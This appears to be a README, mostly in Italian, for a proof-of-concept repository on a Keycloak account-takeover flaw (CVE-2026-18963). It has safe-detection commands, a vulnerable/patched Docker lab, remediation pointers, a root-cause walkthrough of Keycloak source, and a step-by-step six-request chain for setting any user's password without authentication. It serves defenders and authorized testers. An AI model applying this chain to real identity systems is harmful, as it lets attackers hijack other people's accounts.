
Exploit per Keycloak CVE-2026-18963 che consente il takeover non autenticato dell'account tramite bypass del reset delle credenziali. Include rilevamento sicuro, prova non distruttiva, takeover completo, enumerazione degli username e un laboratorio con versioni vulnerabili e corrette.
Conoscendo solo un nome utente o un indirizzo e-mail, un attaccante non autenticato imposta una password arbitraria su qualsiasi account Keycloak. L'e-mail di reset della password viene consegnata alla vittima reale e non è mai necessaria — l'attaccante non legge mai una casella di posta, non fa mai clic su un link e non possiede alcuna credenziale o sessione precedente.
Interessati: Keycloak 26.0.0 – 26.7.1. Corretto in 26.7.2.
Un solo comando. Nessun nome utente valido richiesto e nessun effetto collaterale — non invia alcuna e-mail, non scrive su alcun account e si ferma prima del passaggio sfruttabile.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, solo libreria standard. Niente da installare.
| Exit | Verdetto | Significato |
|:---:|---|---|
| `0` | 🔴 **VULNERABILE** | il gate e-mail parcheggiato è stato servito — il bug stesso |
| `2` | 🟢 **CORRETTO** | il flusso è diramato al login e vi è rimasto (fix #51844 presente) |
| `2` | 🟡 **MITIGATO** | reset-credentials irraggiungibile — *Password dimenticata* è disattivato. **Non è una patch.** |
| `3` | ⚪ **INCONCLUSIVO** | risposta non riconosciuta — **non interpretarlo come un passaggio** |
Eseguilo per ogni realm — *Password dimenticata* è un'impostazione per realm, e `master` conta.
Dettagli, e perché il controllo non richiede utente e non tocca nulla, in
[§4a](#4a-safe-detection---safe-check--start-here).
**Sai già di essere esposto?** Vai a [rimedio](#8-remediation) e
[rilevamento / threat hunting](#9-detection).
### Provalo senza un target
Il repo include un lab che avvia una versione vulnerabile **26.7.1** e una corretta **26.7.2**
affiancate contro un realm identico, più una casella di posta per osservare l'e-mail di reset
arrivare e restare non letta mentre l'account viene compromesso:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Solo test autorizzati
Questo repository esiste per difensori, responder agli incidenti e penetration tester autorizzati. Eseguilo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta al test. Tutto ciò che contiene è fornito con un laboratorio vulnerabile autonomo (
lab/), quindi non è necessario toccare nulla di esterno per imparare come funziona il bug. Puntarlo verso infrastrutture di terze parti senza autorizzazione è illegale nella maggior parte delle giurisdizioni e non è un'attività supportata da questo progetto.
Riferimenti: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
Due difetti concatenati. Nessuno dei due è sfruttabile da solo.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — qualsiasi POST che trasporti la chiave del form tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
La nota è un **booleano nudo senza alcuna registrazione di quale set di esecuzione l'abbia impostata**. Viene
azzerata solo nel ramo che gestisce un parametro `authenticationExecution` inviato. Ometti quel parametro — come fa questo PoC per tutto il tempo — e il flag rimane
impostato per tutta la durata della sessione di autenticazione.
`processFlow()` — finché il flag è truthy, la normale valutazione del flusso viene saltata:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
Esegue il rendering di un modulo inviabile destinato a qualunque esecuzione sia attualmente in attesa, invece di mantenere la sessione bloccata su "in attesa dell'e-mail".
Il collante è processResult() case FORK: — quando Send Reset Email viene attivato, timbra
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> e dirama
il browser alla pagina di login. L'esecuzione in attesa è precisamente il gate dell'e-mail.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.
### The chain```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Sei richieste HTTP, nessuna autenticazione, nessun parametro authenticationExecution in nessun
punto.